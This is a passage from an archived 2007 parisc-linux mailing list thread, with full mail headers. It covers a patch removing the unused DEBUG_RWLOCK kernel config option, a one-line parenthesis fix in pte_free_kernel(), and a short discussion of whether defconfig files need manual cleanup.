> -	depends on DEBUG_KERNEL
> -	help
> -	  If you say Y here then read-write lock processing will count how many
> -	  times it has tried to get the lock and issue an error message after
> -	  too many attempts.  If you suspect a rwlock problem or a kernel
> -	  hacker asks for this option then say Y.  Otherwise say N.
> -
>  config ALPHA_LEGACY_START_ADDRESS
>  	bool "Legacy kernel start address"
>  	depends on ALPHA_GENERIC
> diff --git a/arch/alpha/defconfig b/arch/alpha/defconfig
> index 6da9c3d..e43f68f 100644
> --- a/arch/alpha/defconfig
> +++ b/arch/alpha/defconfig
> @@ -882,7 +882,6 @@ CONFIG_MAGIC_SYSRQ=y
>  # CONFIG_DEBUG_SPINLOCK is not set
>  CONFIG_DEBUG_INFO=y
>  CONFIG_EARLY_PRINTK=y
> -# CONFIG_DEBUG_RWLOCK is not set
>  # CONFIG_DEBUG_SEMAPHORE is not set
>  CONFIG_ALPHA_LEGACY_START_ADDRESS=y
>  CONFIG_MATHEMU=y
> diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
> index 9166bd1..bc989e5 100644
> --- a/arch/parisc/Kconfig.debug
> +++ b/arch/parisc/Kconfig.debug
> @@ -2,15 +2,6 @@ menu "Kernel hacking"
>  
>  source "lib/Kconfig.debug"
>  
> -config DEBUG_RWLOCK
> -        bool "Read-write spinlock debugging"
> -        depends on DEBUG_KERNEL && SMP
> -        help
> -          If you say Y here then read-write lock processing will count how many
> -          times it has tried to get the lock and issue an error message after
> -          too many attempts.  If you suspect a rwlock problem or a kernel
> -          hacker asks for this option then say Y.  Otherwise say N.
> -
>  config DEBUG_RODATA
>         bool "Write protect kernel read-only data structures"
>         depends on DEBUG_KERNEL
> diff --git a/arch/parisc/configs/a500_defconfig b/arch/parisc/configs/a500_defconfig
> index ea07121..ddacc72 100644
> --- a/arch/parisc/configs/a500_defconfig
> +++ b/arch/parisc/configs/a500_defconfig
> @@ -1050,7 +1050,6 @@ CONFIG_SCHED_DEBUG=y
>  CONFIG_FORCED_INLINING=y
>  # CONFIG_RCU_TORTURE_TEST is not set
>  # CONFIG_FAULT_INJECTION is not set
> -# CONFIG_DEBUG_RWLOCK is not set
>  # CONFIG_DEBUG_RODATA is not set
>  
>  #
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mariusz Kozlowski <m.kozlowski@tuxland.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] parisc: balance parenthesis in
	pte_free_kernel()
Date: Thu, 15 Nov 2007 23:34:27 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <200711152334.28517.m.kozlowski__2691.70550532198$1416624651$gmane$org@tuxland.pl>
References: <20071113175906.497a1a6a.akpm@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624651 28582 80.91.229.3 (22 Nov 2014 02:50:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:51 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Andrew Morton <akpm@linux-foundation.org>,
 grundler@parisc-linux.org,
 kyle@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 18:14:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 20 Dec 2007 19:14:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A220D7F787;
	Thu, 20 Dec 2007 11:14:06 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UMuE3IKiUBwm; Thu, 20 Dec 2007 11:14:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C072B7D47C;
	Thu, 20 Dec 2007 09:30:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF75B7D45E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 15:58:03 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tOyHJR34CSep for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 15:57:50 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 78C857D441
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 15:57:50 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id AF033494009; Thu, 15 Nov 2007 15:57:54 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 1378 seconds by postgrey-1.27 at palinux;
	Thu, 15 Nov 2007 15:57:54 MST
Original-Received: from tuxland.pl (xdsl-664.zgora.dialog.net.pl [81.168.226.152])
	by mail.parisc-linux.org (Postfix) with ESMTP id 316CC494006;
	Thu, 15 Nov 2007 15:57:53 -0700 (MST)
Original-Received: from [87.96.50.176] (xdsl-664.zgora.dialog.net.pl [81.168.226.152])
	by tuxland.pl (Postfix) with ESMTP id CF93DD1F7A;
	Thu, 15 Nov 2007 23:37:01 +0100 (CET)
Original-Received: from [87.96.50.176] (public-gprs12976.centertel.pl [87.96.50.176])
	by tuxland.pl (AISK); Thu, 15 Nov 2007 23:36:57 +0100 (CET)
User-Agent: KMail/1.9.7
In-Reply-To: <20071113175906.497a1a6a.akpm@linux-foundation.org>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.64
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yIJTcmZyeWU6YLeUfHVz3SE5U3U4N8/J
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25474

Hello,

	Another parenthesis fix.

Regards,

	Mariusz


Signed-off-by: Mariusz Kozlowski <m.kozlowski@tuxland.pl>

 include/asm-parisc/pgalloc.h |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- linux-2.6.24-rc2-mm1-a/include/asm-parisc/pgalloc.h	2007-11-15 11:36:44.000000000 +0100
+++ linux-2.6.24-rc2-mm1-b/include/asm-parisc/pgalloc.h	2007-11-15 11:37:17.000000000 +0100
@@ -141,7 +141,7 @@ static inline void pte_free_kernel(struc
 static inline void pte_free_kernel(struct mm_struct *mm, struct page *pte)
 {
 	pgtable_page_dtor(pte);
-	pte_free_kernel(page_address((pte));
+	pte_free_kernel(page_address(pte));
 }

 #define check_pgt_cache()	do { } while (0)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert P. J. Day" <rpjday@crashcourse.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] alpha/parisc: Removing config variable
	DEBUG_RWLOCK
Date: Thu, 15 Nov 2007 14:54:45 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <alpine.LFD.0.9999.0711151453230.4568@localhost.localdomain>
References: <473C065D.1000000@gmail.com>
	<20071115190605.GF20892@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624651 28584 80.91.229.3 (22 Nov 2014 02:50:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:51 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
 ink@jurassic.park.msu.ru,
 Andrew Morton <akpm@linux-foundation.org>,
 rth@twiddle.net,
 Jiri Olsa <olsajiri@gmail.com>,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 18:14:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 20 Dec 2007 19:14:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D53F77D480;
	Thu, 20 Dec 2007 11:14:32 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id m6u8i28gQcjo; Thu, 20 Dec 2007 11:14:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A3327D481;
	Thu, 20 Dec 2007 09:30:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B26697D45E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 16:01:26 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id elSeSvMrqUdM for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 16:01:13 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8FD5B7D441
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Nov 2007 16:01:13 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id AD12F49400A; Thu, 15 Nov 2007 16:01:18 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 10957 seconds by postgrey-1.27 at palinux;
	Thu, 15 Nov 2007 16:01:15 MST
Original-Received: from astoria.ccjclearline.com (astoria.ccjclearline.com
	[64.235.106.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id 50441494006;
	Thu, 15 Nov 2007 16:01:15 -0700 (MST)
Original-Received: from [99.236.101.138] (helo=crashcourse.ca)
	by astoria.ccjclearline.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.68) (envelope-from <rpjday@crashcourse.ca>)
	id 1Iskr9-0007CY-C9; Thu, 15 Nov 2007 14:58:31 -0500
X-X-Sender: rpjday@localhost.localdomain
In-Reply-To: <20071115190605.GF20892@colo.lackof.org>
X-AntiAbuse: This header was added to track abuse,
	please include it with any abuse report
X-AntiAbuse: Primary Hostname - astoria.ccjclearline.com
X-AntiAbuse: Original Domain - parisc-linux.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - crashcourse.ca
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.6
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OYZYdlQXIyd0IvqQe2drCAFaa2FkZhVK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25475

On Thu, 15 Nov 2007, Grant Grundler wrote:

> On Thu, Nov 15, 2007 at 09:42:05AM +0100, Jiri Olsa wrote:
> > Removing config variable DEBUG_RWLOCK, since it is not used

... snip ...

> > diff --git a/arch/parisc/configs/a500_defconfig b/arch/parisc/configs/a500_defconfig
> > index ea07121..ddacc72 100644
> > --- a/arch/parisc/configs/a500_defconfig
> > +++ b/arch/parisc/configs/a500_defconfig
> > @@ -1050,7 +1050,6 @@ CONFIG_SCHED_DEBUG=y
> >  CONFIG_FORCED_INLINING=y
> >  # CONFIG_RCU_TORTURE_TEST is not set
> >  # CONFIG_FAULT_INJECTION is not set
> > -# CONFIG_DEBUG_RWLOCK is not set
> >  # CONFIG_DEBUG_RODATA is not set

IIRC, you typically don't bother fixing up the defconfig files --
those will be regenerated eventually.

rday
--
========================================================================
Robert P. J. Day
Linux Consulting, Training and Annoying Kernel Pedantry
Waterloo, Ontario, CANADA

http://crashcourse.ca
========================================================================
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Olsa <olsajiri@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] alpha/parisc: Removing config variable
	DEBUG_RWLOCK
Date: Fri, 16 Nov 2007 09:54:02 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <473D5AAA.5020403@gmail.com>
References: <473C065D.1000000@gmail.com>
	<20071115190605.GF20892@colo.lackof.org>
	<alpine.LFD.0.9999.0711151453230.4568@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624652 28587 80.91.229.3 (22 Nov 2014 02:50:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:52 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
 ink@jurassic.park.msu.ru,
 Andrew Morton <akpm@linux-foundation.org>,
 rth@twiddle.net,
 parisc-linux@parisc-linux.org
To: "Robert P. J. Day" <rpjday@crashcourse.ca>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 18:15:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 20 Dec 2007 19:15:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5EB67D48C;
	Thu, 20 Dec 2007 11:15:35 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7qmZ0t1bTlM6; Thu, 20 Dec 2007 11:15:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF0A57D48D;
	Thu, 20 Dec 2007 09:35:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 475AE7D45B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Nov 2007 02:54:19 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2m+pTKykGwlv for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Nov 2007 02:54:06 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C77B27D45A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Nov 2007 02:54:06 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 110D649400A; Fri, 16 Nov 2007 02:54:07 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hu-out-0506.google.com (hu-out-0506.google.com [72.14.214.239])
	by mail.parisc-linux.org (Postfix) with ESMTP id 9CF15494007
	for <parisc-linux@parisc-linux.org>;
	Fri, 16 Nov 2007 02:54:06 -0700 (MST)
Original-Received: by hu-out-0506.google.com with SMTP id 34so295726hud
	for <parisc-linux@parisc-linux.org>;
	Fri, 16 Nov 2007 01:54:04 -0800 (PST)
Original-Received: by 10.82.138.6 with SMTP id l6mr4571936bud.1195206844722;
	Fri, 16 Nov 2007 01:54:04 -0800 (PST)
Original-Received: from ?192.168.101.66? ( [62.210.91.25])
	by mx.google.com with ESMTPS id y6sm5027553mug.2007.11.16.01.54.02
	(version=SSLv3 cipher=RC4-MD5); Fri, 16 Nov 2007 01:54:03 -0800 (PST)
User-Agent: Thunderbird 2.0.0.6 (X11/20070728)
In-Reply-To: <alpine.LFD.0.9999.0711151453230.4568@localhost.localdomain>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.59
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L9UCCh1obHIzb63NNjQ0wEcqJihyapBE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25476

Robert P. J. Day wrote:
> On Thu, 15 Nov 2007, Grant Grundler wrote:
> 
>> On Thu, Nov 15, 2007 at 09:42:05AM +0100, Jiri Olsa wrote:
>>> Removing config variable DEBUG_RWLOCK, since it is not used
> 
> ... snip ...
> 
>>> diff --git a/arch/parisc/configs/a500_defconfig b/arch/parisc/configs/a500_defconfig
>>> index ea07121..ddacc72 100644
>>> --- a/arch/parisc/configs/a500_defconfig
>>> +++ b/arch/parisc/configs/a500_defconfig
>>> @@ -1050,7 +1050,6 @@ CONFIG_SCHED_DEBUG=y
>>>  CONFIG_FORCED_INLINING=y
>>>  # CONFIG_RCU_TORTURE_TEST is not set
>>>  # CONFIG_FAULT_INJECTION is not set
>>> -# CONFIG_DEBUG_RWLOCK is not set
>>>  # CONFIG_DEBUG_RODATA is not set
> 
> IIRC, you typically don't bother fixing up the defconfig files --
> those will be regenerated eventually.

I think they are part of repository... I'll check

> 
> rday
> --
> ========================================================================
> Robert P. J. Day
> Linux Consulting, Training and Annoying Kernel Pedantry
> Waterloo, Ontario, CANADA
> 
> http://crashcourse.ca
> ========================================================================
> 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Robert P. J. Day" <rpjday@crashcourse.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] alpha/parisc: Removing config variable
	DEBUG_RWLOCK
Date: Fri, 16 Nov 2007 05:02:06 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <alpine.LFD.0.9999.0711160500080.29818@localhost.localdomain>
References: <473C065D.1000000@gmail.com>
	<20071115190605.GF20892@colo.lackof.org>
	<alpine.LFD.0.9999.0711151453230.4568@localhost.localdomain>
	<473D5AAA.5020403@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624652 28588 80.91.229.3 (22 Nov 2014 02:50:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:52 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
 ink@jurassic.park.msu.ru,
 Andrew Morton <akpm@linux-foundation.org>,
 rth@twiddle.net,
 parisc-linux@parisc-linux.org
To: Jiri Olsa <olsajiri@gmail.com>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 18:16:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 20 Dec 2007 19:16:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52A3D7D493;
	Thu, 20 Dec 2007 11:16:06 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5EKAQlIDcfGw; Thu, 20 Dec 2007 11:16:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 838EF7D494;
	Thu, 20 Dec 2007 09:35:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2F757D45B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Nov 2007 03:06:28 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id aK4dDdidVT2r for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Nov 2007 03:06:15 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D4C317D45A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Nov 2007 03:06:15 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2F12949400A; Fri, 16 Nov 2007 03:06:19 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from astoria.ccjclearline.com (astoria.ccjclearline.com
	[64.235.106.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id AF1D1494007;
	Fri, 16 Nov 2007 03:06:18 -0700 (MST)
Original-Received: from [99.236.101.138] (helo=crashcourse.ca)
	by astoria.ccjclearline.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.68) (envelope-from <rpjday@crashcourse.ca>)
	id 1Isy5H-0007sS-2V; Fri, 16 Nov 2007 05:05:59 -0500
X-X-Sender: rpjday@localhost.localdomain
In-Reply-To: <473D5AAA.5020403@gmail.com>
X-AntiAbuse: This header was added to track abuse,
	please include it with any abuse report
X-AntiAbuse: Primary Hostname - astoria.ccjclearline.com
X-AntiAbuse: Original Domain - parisc-linux.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - crashcourse.ca
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.73
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UYlcDjR2QEVtMujDZnVpgiRKNzg2NcLR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25477

On Fri, 16 Nov 2007, Jiri Olsa wrote:

> Robert P. J. Day wrote:

> > IIRC, you typically don't bother fixing up the defconfig files --
> > those will be regenerated eventually.
>
> I think they are part of repository... I'll check

yes, they're part of the repository but, as it was once explained to
me, they're autogenerated on a regular basis so, once there's no
remaining references to a Kconfig variable, the corresponding entries
in the defconfig files should eventually go away automatically.  ergo,
don't spend any time trying to clean them up.

rday
--

========================================================================
Robert P. J. Day
Linux Consulting, Training and Annoying Kernel Pedantry
Waterloo, Ontario, CANADA

http://crashcourse.ca
========================================================================
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] alpha/parisc: Removing config variable
	DEBUG_RWLOCK
Date: Fri, 16 Nov 2007 10:32:48 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20071116173248.GB13967@colo.lackof.org>
References: <473C065D.1000000@gmail.com>
	<20071115190605.GF20892@colo.lackof.org>
